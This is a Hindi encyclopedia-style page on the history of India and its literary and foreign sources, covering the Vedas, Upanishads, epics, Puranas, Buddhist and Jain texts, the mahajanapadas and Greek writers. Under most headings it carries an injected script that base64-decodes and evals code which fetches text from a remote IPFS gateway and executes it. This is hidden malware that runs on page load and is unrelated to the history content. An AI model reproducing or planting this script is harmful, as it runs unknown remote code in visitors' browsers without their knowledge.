भारत का इतिहास

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Home-icon.png विस्तार में पढ़ें इतिहास प्रांगण (पोर्टल)
भारत का इतिहास
पाषाण युग- 70000 से 3300 ई.पू
मेहरगढ़ संस्कृति 7000-3300 ई.पू
सिन्धु घाटी सभ्यता- 3300-1700 ई.पू
हड़प्पा संस्कृति 1700-1300 ई.पू
वैदिक काल- 1500–500 ई.पू
प्राचीन भारत - 1200 ई.पू–240 ई.
महाजनपद 700–300 ई.पू
मगध साम्राज्य 545–320 ई.पू
सातवाहन साम्राज्य 230 ई.पू-199 ई.
मौर्य साम्राज्य 321–184 ई.पू
शुंग साम्राज्य 184–123 ई.पू
शक साम्राज्य 123 ई.पू–200 ई.
कुषाण साम्राज्य 60–240 ई.
पूर्व मध्यकालीन भारत- 240 ई.पू– 800 ई.
चोल साम्राज्य 250 ई.पू- 1070 ई.
गुप्त साम्राज्य 280–550 ई.
पाल साम्राज्य 750–1174 ई.
प्रतिहार साम्राज्य 830–963 ई.
राजपूत काल 900–1162 ई.
मध्यकालीन भारत- 500 ई.– 1761 ई.
दिल्ली सल्तनत
ग़ुलाम वंश
ख़िलजी वंश
तुग़लक़ वंश
सैय्यद वंश
लोदी वंश
मुग़ल साम्राज्य
1206–1526 ई.
1206-1290 ई.
1290-1320 ई.
1320-1414 ई.
1414-1451 ई.
1451-1526 ई.
1526–1857 ई.
दक्कन सल्तनत
बहमनी वंश
निज़ामशाही वंश
1490–1596 ई.
1358-1518 ई.
1490-1565 ई.
दक्षिणी साम्राज्य
राष्ट्रकूट वंश
होयसल साम्राज्य
ककातिया साम्राज्य
विजयनगर साम्राज्य
1040-1565 ई.
736-973 ई.
1040–1346 ई.
1083-1323 ई.
1326-1565 ई.
आधुनिक भारत- 1762–1947 ई.
मराठा साम्राज्य 1674-1818 ई.
सिख राज्यसंघ 1716-1849 ई.
औपनिवेश काल 1760-1947 ई.

भारत में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। हड़प्पा की पूर्ववर्ती संस्कृतियाँ हैं: बलूचिस्तानी पहाड़ियों के गाँवों की कुल्ली संस्कृति और राजस्थान तथा पंजाब की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।[1] जैविक गुणसूत्रों के प्रमाणों के आधार पर भारत में मानव का सबसे पहला प्रमाण केरल से मिला है जो सत्तर हज़ार साल पुराना होने की संभावना है। जिसका आधार अफ़्रीका के प्राचीन मानव से जैविक गुणसूत्रों (जीन्स) का मिलना है। [2] यह काल वह है जब अफ़्रीक़ा से आदि मानव ने विश्व के अनेक हिस्सों में बसना प्रारम्भ किया जो पचास से सत्तर हज़ार साल पहले का माना जाता है।

प्राचीन भारतीय इतिहास के स्त्रोत

भारतीय इतिहास जानने के स्त्रोत को तीन भागों में विभाजित किया जा सकता हैं-

  1. साहित्यिक साक्ष्य
  2. विदेशी यात्रियों का विवरण
  3. पुरातत्त्व सम्बन्धी साक्ष्य

साहित्यिक साक्ष्य

साहित्यिक साक्ष्य के अन्तर्गत साहित्यिक ग्रन्थों से प्राप्त ऐतिहासिक वस्तुओं का अध्ययन किया जाता है। साहित्यिक साक्ष्य को दो भागों में विभाजित किया जा सकता है-
धार्मिक साहित्य और लौकिक साहित्य।

धार्मिक साहित्य

धार्मिक साहित्य के अन्तर्गत ब्राह्मण तथा ब्राह्मणेत्तर साहित्य की चर्चा की जाती है।

  • ब्राह्मण ग्रन्थों में -

वेद, उपनिषद, रामायण, महाभारत, पुराण, स्मृति ग्रन्थ आते हैं।

  • ब्राह्मणेत्तर ग्रन्थों में जैन तथा बौद्ध ग्रन्थों को सम्मिलित किया जाता है।
लौकिक साहित्य

लौकिक साहित्य के अन्तर्गत ऐतिहासिक ग्रन्थ, जीवनी, कल्पना-प्रधान तथा गल्प साहित्य का वर्णन किया जाता है।

धर्म-ग्रन्थ

प्राचीन काल से ही भारत के धर्म प्रधान देश होने के कारण यहां प्रायः तीन धार्मिक धारायें- वैदिक, जैन एवं बौद्ध प्रवाहित हुईं। वैदिक धर्म ग्रन्थ को ब्राह्मण धर्म ग्रन्थ भी कहा जाता है।

ब्राह्मण धर्म-ग्रंथ

ब्राह्मण धर्म - ग्रंथ के अन्तर्गत वेद, उपनिषद्, महाकाव्य तथा स्मृति ग्रंथों को शामिल किया जाता है।

वेद

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वेद एक महत्त्वपूर्ण ब्राह्मण धर्म-ग्रंथ है। वेद शब्द का अर्थ ‘ज्ञान‘ महतज्ञान अर्थात ‘पवित्र एवं आध्यात्मिक ज्ञान‘ है। यह शब्द संस्कृत के ‘विद्‘ धातु से बना है जिसका अर्थ है जानना। वेदों के संकलनकर्ता 'कृष्ण द्वैपायन' थे। कृष्ण द्वैपायन को वेदों के पृथक्करण-व्यास के कारण 'वेदव्यास' की संज्ञा प्राप्त हुई। वेदों से ही हमें आर्यो के विषय में प्रारम्भिक जानकारी मिलती है। कुछ लोग वेदों को अपौरूषेय अर्थात दैवकृत मानते हैं। वेदों की कुल संख्या चार है-

Vedic-Tradition-1.jpg

ग्रंथों की प्रकृति

  • ऋग्वेद, सामवेद, यजुर्वेद और अथर्ववेद, इन चारों वेदों को 'संहिता' कहा जाता है।
  • इनमें ऋग्वेद, यजुर्वेद एवं सामवेद के सम्मिलित संग्रह को 'वेदत्रयी' कहा जाता है।
  • उपर्युक्त चारों वेदों में से प्रत्येक के एक-एक उपवेद भी है।
  • ऋग्वेद का उपवेद 'आयुर्वेद' है, सामवेद का उपवेद 'गन्धर्ववेद' है, जो संगीत से संबद्व है।
  • यजुर्वेद का उपवेद 'धनुर्वेद' है, जो युद्व कलाओं का वर्णन करता है।
  • अथर्ववेद का उपवेद 'शिल्पवेद' है।
  • इसमें सबसे महत्त्वपूर्ण उपवेद है 'आयुर्वेद' है।
  • इसके आठ भाग हैं- शल्य, शालक्य, काय-चिकित्सा, भूत विद्या, कुमारभृत्य, अंगदतन्त्र, रसायन और वाजीकरण।
  • एक मान्यता के अनुसार आयुर्वेद के जन्मदाता प्रजापति (ब्रह्मा), धनुर्वेद के जन्मदाता विश्वामित्र, गन्धर्व के जन्मदाता नारद तथा शिल्पवेद के जन्मदाता विश्वकर्मा थे।
  • इन ग्रन्थों से प्राचीन भारत में प्रचलित विभिन्न विधाओं का ज्ञान होता है।
Vedic-Tradition-2.jpg

ब्राह्मण ग्रंथ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यज्ञों एवं कर्मकाण्डों के विधान एवं इनकी क्रियाओं को भली-भांति समझने के लिए ही इस ब्राह्मण ग्रंथ की रचना हुई। यहां पर 'ब्रह्म' का शाब्दिक अर्थ हैं- यज्ञ अर्थात यज्ञ के विषयों का अच्छी तरह से प्रतिपादन करने वाले ग्रंथ ही 'ब्राह्मण ग्रंथ' कहे गये। ब्राह्मण ग्रन्थों में सर्वथा यज्ञों की वैज्ञानिक, अधिभौतिक तथा अध्यात्मिक मीमांसा प्रस्तुत की गयी है। यह ग्रंथ अधिकतर गद्य में लिखे हुए हैं। इनमें उत्तरकालीन समाज तथा संस्कृति के सम्बन्ध का ज्ञान प्राप्त होता है। प्रत्येक वेद (संहिता) के अपने-अपने ब्राह्मण होते हैं।

आरण्यक

कुरु महाजनपद

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आरयण्कों में दार्शनिक एवं रहस्यात्मक विषयों यथा, आत्मा, मृत्यु, जीवन आदि का वर्णन होता है। इन ग्रंथों को आरयण्क इसलिए कहा जाता है क्योंकि इन ग्रंथों का मनन अरण्य अर्थात वन में किया जाता था। ये ग्रन्थ अरण्यों (जंगलों) में निवास करने वाले संन्यासियों के मार्गदर्शन के लिए लिखे गए थै। आरण्यकों में ऐतरेय आरण्यक, शांखायन्त आरण्यक, बृहदारण्यक, मैत्रायणी उपनिषद आरण्यक तथा तवलकार आरण्यक (इसे जैमिनीयोपनिषद ब्राह्मण भी कहते हैं) मुख्य हैं। ऐतरेय तथा शांखायन ऋग्वेद से, बृहदारण्यक शुक्ल यजुर्वेद से, मैत्रायणी उपनिषद आरण्यक कृष्ण यजुर्वेद से तथा तवलकार आरण्यक सामवेद से सम्बद्ध हैं। अथर्ववेद का कोई आरण्यक उपलब्ध नहीं है। आरण्यक ग्रन्थों में प्राण विद्या की महिमा का प्रतिपादन विशेष रूप से मिलता है। इनमें कुछ ऐतिहासिक तथ्य भी हैं, जैसे- तैत्तिरीय आरण्यक में कुरु, पंचाल, काशी, विदेह आदि महाजनपदों का उल्लेख है।

उपनिषद

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उपनिषदों की कुल संख्या 108 है। प्रमुख उपनिषद हैं- ईश, केन, कठ, माण्डूक्य, तैत्तिरीय, ऐतरेय, छान्दोग्य, श्वेताश्वतर, बृहदारण्यक, कौषीतकि, मुण्डक, प्रश्न, मैत्राणीय आदि। लेकिन शंकराचार्य ने जिन 10 उपनिषदों पर स्पना भाष्य लिखा है, उनको प्रमाणिक माना गया है। ये हैं - ईश, केन, माण्डूक्य, मुण्डक, तैत्तिरीय, ऐतरेय, प्रश्न, छान्दोग्य और बृहदारण्यक उपनिषद। इसके अतिरिक्त श्वेताश्वतर और कौषीतकि उपनिषद भी महत्त्वपूर्ण हैं। इस प्रकार 103 उपनिषदों में से केवल 13 उपनिषदों को ही प्रामाणिक माना गया है। भारत का प्रसिद्ध आदर्श वाक्य 'सत्यमेव जयते' मुण्डोपनिषद से लिया गया है। उपनिषद गद्य और पद्य दोनों में हैं, जिसमें प्रश्न, माण्डूक्य, केन, तैत्तिरीय, ऐतरेय, छान्दोग्य, बृहदारण्यक और कौषीतकि उपनिषद गद्य में हैं तथा केन, ईश, कठ और श्वेताश्वतर उपनिषद पद्य में हैं।

वेदांग

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वेदों के अर्थ को अच्छी तरह समझने में वेदांग काफ़ी सहायक होते हैं। वेदांग शब्द से अभिप्राय है- 'जिसके द्वारा किसी वस्तु के स्वरूप को समझने में सहायता मिले'। वेदांगो की कुल संख्या 6 है, जो इस प्रकार है-
1- शिक्षा, 2- कल्प, 3- व्याकरण, 4- निरूक्त, 5- छन्द एवं 6- ज्योतिष

ब्राह्मण ग्रन्थों में धर्मशास्त्र का महत्त्वपूर्ण स्थान है।

  • धर्मशास्त्र में चार साहित्य आते हैं- 1- धर्म सूत्र, 2- स्मृति, 3- टीका एवं 4- निबन्ध ।

आर्यों के आदि स्थल सूची

आर्यों के आदि स्थल हड़प्पाकालीन नदियों के किनारे बसे नगर विभिन्न विद्वानों द्वारा सिंधु सभ्यता का काल निर्धारण
आदि (मूल) स्थान मत नगर नदी / सागर तट काल विद्वान
सप्तसैंधव क्षेत्र डॉ. अविनाश चंद्र, डॉ. संपूर्णानन्द
ब्रह्मर्षि देश पं. गंगानाथ झा
मध्य प्रदेश डॉ. राजबली पाण्डेय
कश्मीर एल. डी. कल्ल
देविका प्रदेश (मुल्तान) डी. एस. त्रिवेदी
उत्तरी ध्रुव प्रदेश बाल गंगाधर तिलक
हंगरी (यूरोप) (डेन्यूब नदी की घाटी) पी. गाइल्स
दक्षिणी रूस नेहरिंग गार्डन चाइल्ड्स
जर्मनी पेन्का
यूरोप फिलिप्पो सेस्सेटी, सर विलियम जोन्स
पामीर एवं बैक्ट्रिया एडवर्ड मेयर एवं ओल्डेन वर्ग जे. जी. रोड
मध्य एशिया मैक्समूलर
तिब्बत दयानन्द सरस्वती
हिमालय (मानस) के. के. शर्मा
मोहनजोदड़ो सिंधु नदी
हड़प्पा रावी नदी
रोपड़ सतलुज नदी
कालीबंगा घग्घर नदी
लोथल भोगवा नदी
सुत्कागेनडोर दाश्त नदी
वालाकोट अरब सागर
सोत्काकोह अरब सागर
आलमगीरपुर हिन्डन नदी
रंगपुर मदर नदी
कोटदीजी सिंधु नदी
3500 - 2700 ई.पू. माधोस्वरूप वत्स
3250 - 2750 ई.पू. जॉन मार्शल
2900 ई.पू. - 1900 ई.पू. डेल्स
2800 - 2500 ई.पू. अर्नेस्ट मैके
2500 - 1500 ई.पू. मार्टिमर ह्वीलर
2350 - 1700 ई.पू. सी. जे. गैड
2300 ई.पू. - 1750 ई.पू. डी. पी. अग्रवाल
2000 - 1500 ई.पू. फेयर सर्विस

स्मृतियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्मृतियों को 'धर्म शास्त्र' भी कहा जाता है- 'श्रस्तु वेद विज्ञेयों धर्मशास्त्रं तु वैस्मृतिः।' स्मृतियों का उदय सूत्रों को बाद हुआ। मनुष्य के पूरे जीवन से सम्बधित अनेक क्रिया-कलापों के बारे में असंख्य विधि-निषेधों की जानकारी इन स्मृतियों से मिलती है। सम्भवतः मनुस्मृति (लगभग 200 ई.पूर्व. से 100 ई. मध्य) एवं याज्ञवल्क्य स्मृति सबसे प्राचीन हैं। उस समय के अन्य महत्त्वपूर्ण स्मृतिकार थे- नारद, पराशर, बृहस्पति, कात्यायन, गौतम, संवर्त, हरीत, अंगिरा आदि, जिनका समय सम्भवतः 100 ई. से लेकर 600 ई. तक था। मनुस्मृति से उस समय के भारत के बारे में राजनीतिक, सामाजिक एवं धार्मिक जानकारी मिलती है। नारद स्मृति से गुप्त वंश के संदर्भ में जानकारी मिलती है। मेधातिथि, मारूचि, कुल्लूक भट्ट, गोविन्दराज आदि टीकाकारों ने 'मनुस्मृति' पर, जबकि विश्वरूप, अपरार्क, विज्ञानेश्वर आदि ने 'याज्ञवल्क्य स्मृति' पर भाष्य लिखे हैं।

महाकाव्य

'रामायण' एवं 'महाभारत', भारत के दो सर्वाधिक प्राचीन महाकाव्य हैं। यद्यपि इन दोनों महाकाव्यों के रचनाकाल के विषय में काफ़ी विवाद है, फिर भी कुछ उपलब्ध साक्ष्यों के आधर पर इन महाकाव्यों का रचनाकाल चौथी शती ई.पू. से चौथी शती ई. के मध्य माना गया है।

रामायण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रामायण की रचना महर्षि बाल्मीकि द्वारा पहली एवं दूसरी शताब्दी के दौरान संस्कृत भाषा में की गयी । बाल्मीकि कृत रामायण में मूलतः 6000 श्लोक थे, जो कालान्तर में 12000 हुए और फिर 24000 हो गये । इसे 'चतुर्विशिति साहस्त्री संहिता' भ्री कहा गया है। बाल्मीकि द्वारा रचित रामायण- बालकाण्ड, अयोध्याकाण्ड, अरण्यकाण्ड, किष्किन्धाकाण्ड, सुन्दरकाण्ड, युद्धकाण्ड एवं उत्तराकाण्ड नामक सात काण्डों में बंटा हुआ है। रामायण द्वारा उस समय की राजनीतिक, सामाजिक एवं धार्मिक स्थिति का ज्ञान होता है। रामकथा पर आधारित ग्रंथों का अनुवाद सर्वप्रथम भारत से बाहर चीन में किया गया। भूशुण्डि रामायण को 'आदिरामायण' कहा जाता है।

महाभारत

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

महर्षि व्यास द्वारा रचित महाभारत महाकाव्य रामायण से बृहद है। इसकी रचना का मूल समय ईसा पूर्व चौथी शताब्दी माना जाता है। महाभारत में मूलतः 8800 श्लोक थे तथा इसका नाम 'जयसंहिता' (विजय संबंधी ग्रंथ) था। बाद में श्लोकों की संख्या 24000 होने के पश्चात यह वैदिक जन भरत के वंशजों की कथा होने के कारण ‘भारत‘ कहलाया। कालान्तर में गुप्त काल में श्लोकों की संख्या बढ़कर एक लाख होने पर यह 'शतसाहस्त्री संहिता' या 'महाभारत' केहलाया। महाभारत का प्रारम्भिक उल्लेख 'आश्वलाय गृहसूत्र' में मिलता है। वर्तमान में इस महाकाव्य में लगभग एक लाख श्लोकों का संकलन है। महाभारत महाकाव्य 18 पर्वो- आदि, सभा, वन, विराट, उद्योग, भीष्म, द्रोण, कर्ण, शल्य, सौप्तिक, स्त्री, शान्ति, अनुशासन, अश्वमेघ, आश्रमवासी, मौसल, महाप्रास्थानिक एवं स्वर्गारोहण में विभाजित है। महाभारत में ‘हरिवंश‘ नाम परिशिष्ट है। इस महाकाव्य से तत्कालीन राजनीतिक, सामाजिक एवं धार्मिक स्थिति का ज्ञान होता है।

महाजनपद सूची

नाम विवरण क्षेत्र
अंग वर्तमान में बिहार के मुंगेर और भागलपुर ज़िले इसमें आते थे। इनकी राजधानी चंपा थी। पूर्वी बिहार
मगध इसकी स्थिति स्थूल रूप से दक्षिण बिहार के प्रदेश में थी। आधुनिक पटना तथा गया ज़िला इसमें शामिल थे । दक्षिणी बिहार
काशी वाराणसी, काशी अथवा बनारस भारत देश के उत्तर प्रदेश का एक प्राचीन और धार्मिक महत्ता रखने वाला शहर है । इसका पुराना नाम काशी है। बनारस
कोशल उत्तरी भारत का प्रसिद्ध जनपद जिसकी राजधानी विश्वविश्रुत नगरी अयोध्या थी। उत्तर प्रदेश के फैजाबाद ज़िला, गोंडा और बहराइच के क्षेत्र शामिल थे। अवध-लखनऊ
वत्स आधुनिक उत्तर प्रदेश के इलाहाबाद तथा मिर्ज़ापुर ज़िले इसके अर्न्तगत आते थे। इस जनपद की राजधानी कौशांबी (ज़िला इलाहाबाद उत्तर प्रदेश) थी। इलाहाबाद
कुरु आधुनिक हरियाणा तथा दिल्ली का यमुना नदी के पश्चिम वाला अंश शामिल था । इसकी राजधानी आधुनिक दिल्ली (इन्द्रप्रस्थ) थी । थानेश्वर तथा दिल्ली क्षेत्र
वत्स आधुनिक उत्तर प्रदेश के इलाहाबाद तथा मिर्ज़ापुर ज़िले इसके अर्न्तगत आते थे। इस जनपद की राजधानी कौशांबी (ज़िला इलाहाबाद उत्तर प्रदेश) थी। इलाहाबाद
पंचाल पश्चिमी उत्तर प्रदेश के बरेली, बदायूँ और फर्रूख़ाबाद ज़िलों से परिवृत प्रदेश का प्राचीन नाम है। यह कानपुर से वाराणसी के बीच के गंगा के मैदान में फैला हुआ था। बरेली तथा बदायूँ
मत्स्य मत्स्य देश में विराट का राज था तथा वहाँ की राजधानी उपप्लव नामक नगर में थी। विराट नगर मत्स्य देश का दूसरा प्रमुख नगर था। जयपुर
शूरसेन मथुरा का पुराना नाम शूरसेन था । मथुरा
अश्मक नर्मदा और गोदावरी नदियों के बीच अवस्थित इस प्रदेश की राजधानी पाटन थी। गोदावरी के तट पर
अवंती आधुनिक मालवा का प्रदेश जिसकी राजधानी उज्जयिनी और महिष्मति थी। मालवा
गांधार पाकिस्तान का पश्चिमी तथा अफ़ग़ानिस्तान का पूर्वी क्षेत्र। पेशावर क्षेत्र
कंबोज कंबोज देश या यहाँ के निवासी कांबोजों के विषय में अनेक उल्लेख हैं जिनसे जान पड़ता है कि कंबोज देश का विस्तार स्थूल रूप से कश्मीर से हिन्दूकुश तक था। कश्मीर तथा अफ़ग़ानिस्तान
वृज्जि उत्तर बिहार का बौद्ध कालीन गणराज्य जिसे बौद्ध साहित्य में वृज्जि कहा गया है। उत्तरी बिहार
मल्ल मल्ल भी एक गणसंघ था और पूर्वी उत्तर प्रदेश के इलाके इसके क्षेत्र थे। गोरखपुर
चेदि गंगा और नर्मदा के बीच के क्षेत्र का प्राचीन नाम चेदि था। बुंदेलखण्ड

पुराण

Puran-1.png

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्राचीन आख्यानों से युक्त ग्रंथ को पुराण कहते हैं। सम्भवतः 5वीं से 4थी शताब्दी ई.पू. तक पुराण अस्तित्व में आ चुके थे। ब्रह्म वैवर्त पुराण में पुराणों के पांच लक्षण बताये ये हैं। यह हैं- सर्प, प्रतिसर्ग, वंश, मन्वन्तर तथा वंशानुचरित। कुल पुराणों की संख्या 18 हैं- 1. ब्रह्म पुराण 2. पद्म पुराण 3. विष्णु पुराण 4. वायु पुराण 5. भागवत पुराण 6. नारदीय पुराण, 7. मार्कण्डेय पुराण 8. अग्नि पुराण 9. भविष्य पुराण 10. ब्रह्म वैवर्त पुराण, 11. लिंग पुराण 12. वराह पुराण 13. स्कन्द पुराण 14. वामन पुराण 15. कूर्म पुराण 16. मत्स्य पुराण 17. गरुड़ पुराण और 18. ब्रह्माण्ड पुराण इन पुराणों में विष्णु, मत्स्य, वायु, ब्रह्माण्ड, तथा भागवत पुराण सर्वाधिक ऐतिहासिक महत्त्व के हैं क्योंकि इनमें राजाओं की वंशावलियां पायी जाती हैं। अठारह पुराणों में सर्वाधिक प्राचीन एवं प्रामाणिक मत्स्य पुराण है। इसके द्वारा सातवाहन वंश के विषय में विशेष जानकारी मिलती है। इसके अतिरिक्त विष्णु पुराण से मौर्य वंश एवं गुप्त वंश की एवं वायु पुराण से शुंग वंश एवं गुप्त वंश के विषय में विशेष जानकारी मिलती है। इस प्रकार पुराणों से हमें शिशुनाग, नन्द, मौर्य, शुंग, सातवाहन एवं गुप्त वंश के विषय में ज्ञान होता है। मार्कण्डेय पुराण मुख्यतः देवी दुर्गा से संबधित है। इसी में 'दुर्गा सप्तशती' नामक अंश शामिल है। अग्नि पुराण में तांत्रिक पद्धति का उल्लेख है। इसी पुराण में गणेश पूजा का प्रथम बार उल्लेख मिलता है।

बौद्ध साहित्य

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बौद्ध साहित्य को ‘त्रिपिटक‘ कहा जाता है। महात्मा बुद्ध के परिनिर्वाण के उपरान्त आयोजित विभिन्न बौद्ध संगीतियों में संकलित किये गये त्रिपिटक (संस्कृत त्रिपिटक) सम्भवतः सर्वाधिक प्राचीन धर्मग्रंथ हैं। वुलर एवं रीज डेविड्ज महोदय ने ‘पिटक‘ का शाब्दिक अर्थ टोकरी बताया है। त्रिपिटक हैं-
सुत्तपिटक, विनयपिटक और अभिधम्मपिटक

जैन साहित्य

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ऐतिहसिक जानकारी हेतु जैन साहित्य भी बौद्ध साहित्य की ही तरह महत्त्वपूर्ण हैं। अब तक उपलब्ध जैन साहित्य प्राकृत एवं संस्कृत भाषा में मिलतें है। जैन साहित्य, जिसे ‘आगम‘ कहा जाता है, इनकी संख्या 12 बतायी जाती है। आगे चलकर इनके 'उपांग' भी लिखे गये । आगमों के साथ-साथ जैन ग्रंथों में 10 प्रकीर्ण, 6 छंद सूत्र, एक नंदि सूत्र एक अनुयोगद्वार एवं चार मूलसूत्र हैं। इन आगम ग्रंथों की रचना सम्भवतः श्वेताम्बर सम्प्रदाय के आचार्यो द्वारा महावीर स्वामी की मृत्यु के बाद की गयी।

लौकिक साहित्य

इस प्रकार के साहित्य के अन्तर्गत ऐतिहासिक एवं समसामयिक साहित्य आते हैं, ऐसे साहित्य को धर्मेत्तर साहित्य भी कहते हैं इस प्रकार की कृतियों से तत्कालीन भारतीय समाज के राजनीतिक एवं सांस्कृतिक इतिहास को जानने में काफ़ी मदद मिलती है। ऐसी रचनाओं में सर्वप्रथम उल्लेख आचार्य चाणक्य के अर्थशास्त्र का किया जाता है। व्याकरण के पितामह आचार्य पाणिनि का अष्टाध्यायी, विशाखदत्त का मुद्राराक्षस, महर्षि पतंजलि का महाभाष्य, कालिदास का मालविकाग्निमित्रम्, बाणभट्ट का हर्षचरित, भास का स्वप्नवासवदत्तम, शूद्रक मृच्छकटिकम, कल्हण का राजतरंगिणी आदि साहित्य से विभिन्न ऐतिहासिक जनकारी मिलती है।

  • दक्षिण भारत का प्रारम्भिक इतिहास ‘संगम साहित्य‘ से ज्ञात होता है।
  • सुदूर दक्षिण के पल्लव और चोल शासको का इतिहास नन्दिकक्लम्बकम, कलिंगत्तुपर्णि, चोल चरित आदि से प्राप्त होता है।

विदेशियों के विवरण

विदेशी यात्रियों एवं लेखकों के विवरण से भी हमें भारतीय इतिहास की जानकारियाँ मिलती है। इनको तीन भागों में बांट सकते हैं-

चित्रकार द्वारा डिमेट्रियस का सिक्के से बनाया हुआ चित्र

यूनानी-रोमन लेखक, चीनी लेखक और अरबी लेखक

यूनानी-रोमन लेखक

  • यूनानी लेखकों को तीन भागों में बांटा जा सकता है-
  1. सिकन्दर के पूर्व के यूनानी लेखक
  2. सिकन्दर के समकालीन यूनानी लेखक
  3. सिकन्दर के बाद के लेखक
  • टेसियस और हेरोडोटस यूनान और रोम के प्राचीन लेखकों में से हैं। टेसियस 'ईरानी राजवैद्य' था, उसने भारत के विषय में समस्त जानकारी ईरानी अधिकारियों से प्राप्त की थी। हेरोडोटस, जिसे 'इतिहास का पिता' कहा जाता है, ने 5वी. शताब्दी में ई.पू. में ‘हिस्टोरिका‘ नामक पुस्तक की रचना की थी, जिसमें भारत और फ़ारस के सम्बन्धों का वर्णन किया गया है।
  • नियार्कस, आनेसिक्रिटस और अरिस्टोवुलास ये सभी लेखक सिकन्दर के समकालीन। इन लेखकों द्वारा जो भी विवरण तत्कालीन भारतीय इतिहास से जुड़ा है वह अपने में प्रमाणिक है।
  • सिकन्दर के बाद के लेखकों में महत्त्वपूर्ण था मेगस्थनीज जो यूनानी राजा सेल्यूकस का राजदूत था। उसने चन्द्रगुप्त मौर्य के दरबार में क़रीब 14 वर्षो तक समय व्यतीत किया। उसने ‘इण्डिका ‘ नामक ग्रंथ की रचना की जिसमें तत्कालीन मौर्यवंशीय समाज एवं संस्कृति का विवरण दिया था। डाइमेकस, सीरियन नरेश अन्तियोकस का राजदूत था जो बिन्दुसार के राजदरबार में काफ़ी दिनों तक रहा। डायोनिसियस मिस्र नरेश 'टॉलमी फिलाडेल्फस' के राजदूत के रूप में काफ़ी दिनों तक सम्राट अशोक के राज दरबार में रहा था।
